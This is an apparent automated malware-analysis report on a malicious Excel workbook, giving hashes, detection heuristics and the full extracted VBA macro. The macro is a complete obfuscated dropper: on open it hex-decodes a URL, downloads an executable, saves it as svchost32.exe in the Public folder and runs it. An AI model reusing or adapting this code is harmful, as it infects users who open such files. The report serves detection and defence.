Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3cf60ebd0550470e…

MALICIOUS

Office (OOXML)

49.0 KB First seen: 2020-09-07
MD5: b56dfc8d86ace7bf04c142a50045eba5 SHA-1: 0cc7e92fda18909f8c1e2d9caf457a4072d98105 SHA-256: 3cf60ebd0550470ef1af91bec89af8821c8d3f400d0ba4b030f0078811d61bcc
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated Workbook_Open subroutine that decodes a URL and downloads an executable file. The decoded URL is 'https://albolat.com.tr/wp-admin/DHLLAYBILL.exe'. This behavior is indicative of a downloader or droppper malware.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    strmweajsdjkvm_babu.write hthsduerkbxvbhagasdjl_babu.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6578 bytes
SHA-256: 58620bae6f692b661c56edef08ee3d20f5f7e973b9e3671dc9aa9749c0474878
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
COmm0NAzs893TraCXVaPlCXFQAEWRGFYTDZCXFA"68 74 74 70 73 3A 2F 2F 61 6C 62 6F 6C 61 74 2E 63 6F 6D 2E 74 72 2F 77 70 2D 61 64 6D 69 6E 2F 44 48 4C 57 41 59 42 49 4C 4C 2E 65 78 65"
End Sub
Public Sub COmm0NAzs893TraCXVaPlCXFQAEWRGFYTDZCXFA(Link As String)
	Range("A1:J22").Select
    	Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    	Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    	With Selection.Borders(xlEdgeLeft)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim hthsduerkbxvbhagasdjl_babu
	With Selection.Borders(xlEdgeTop)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim strmweajsdjkvm_babu
 	With Selection.Borders(xlEdgeBottom)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim shelaorl_babu
	With Selection.Borders(xlEdgeRight)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set hthsduerkbxvbhagasdjl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
	With Selection.Borders(xlInsideVertical)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set strmweajsdjkvm_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
 	With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set shelaorl_babu = CreateObject(PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
 	ActiveWindow.SmallScroll Down:=-12
    	Range("A1").Select
    	ActiveCell.FormulaR1C1 = "S.No"
    	Range("B1").Select
    	ActiveCell.FormulaR1C1 = "Name"
    	Range("C1").Select
    	ActiveCell.FormulaR1C1 = "Unit"
    	Range("D1").Select
    	ActiveCell.FormulaR1C1 = "Price"
    	Range("E1").Select
    	ActiveCell.FormulaR1C1 = "Qty"
    	Range("F1:J22").Select
Url = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW(Link)
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = False
    	End With
    	Selection.Merge
urloasjdklweqad_babu = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = xlVertical
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
RUNCMD = PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S"
   	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S" & Chr(10) & "u" & Chr(10) & "m" & Chr(10) & "r" & Chr(10) & "r" & Chr(10) & "y"
    	Range("F1:J22").Select
hthsduerkbxvbhagasdjl_babu.Open "G" + "E" + "T", Url, False
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
hthsduerkbxvbhagasdjl_babu.send
	Range("F1:J22").Select
    	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlCenter
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
strmweajsdjkvm_babu.Type = 1
	With Selection.Font
        .Name = "Calibri"
        .Size = 14
        .Strikethrough = False
        .Superscript = False
        .Subscript = False
        .OutlineFont = False
        .Shadow = False
        .Underline = xlUnderlineStyleNone
        .ThemeColor = xlThemeColorLight1
        .TintAndShade = 0
        .ThemeFont = xlThemeFontMinor
    	End With
strmweajsdjkvm_babu.Open
	Selection.Font.Bold = True
strmweajsdjkvm_babu.write hthsduerkbxvbhagasdjl_babu.responseBody
    	Selection.Font.Italic = True
strmweajsdjkvm_babu.savetofile urloasjdklweqad_babu, 2
    	Range("L4").Select
shelaorl_babu.Run RUNCMD

End Sub

Public Function PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW(ByVal AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV As String) As String
Dim wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa   As String
Dim BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT As String
Dim mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev         As Long
    For mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev = 1 To Len(AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val("&H" & Mid$(AZplOKICbdgCBDgTrADSfPlo9823FCSdNmmBCGFTADSCXV, mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev, 2)))
        BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev
    PXcZFADsUy76FSRdPLVABY7609GffsdAxzsaMOPLQAW = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7168 bytes
SHA-256: 5f64602814ae0045a7b63a39588b2c5a170a30a04e5270a502ac35e9d95cda10
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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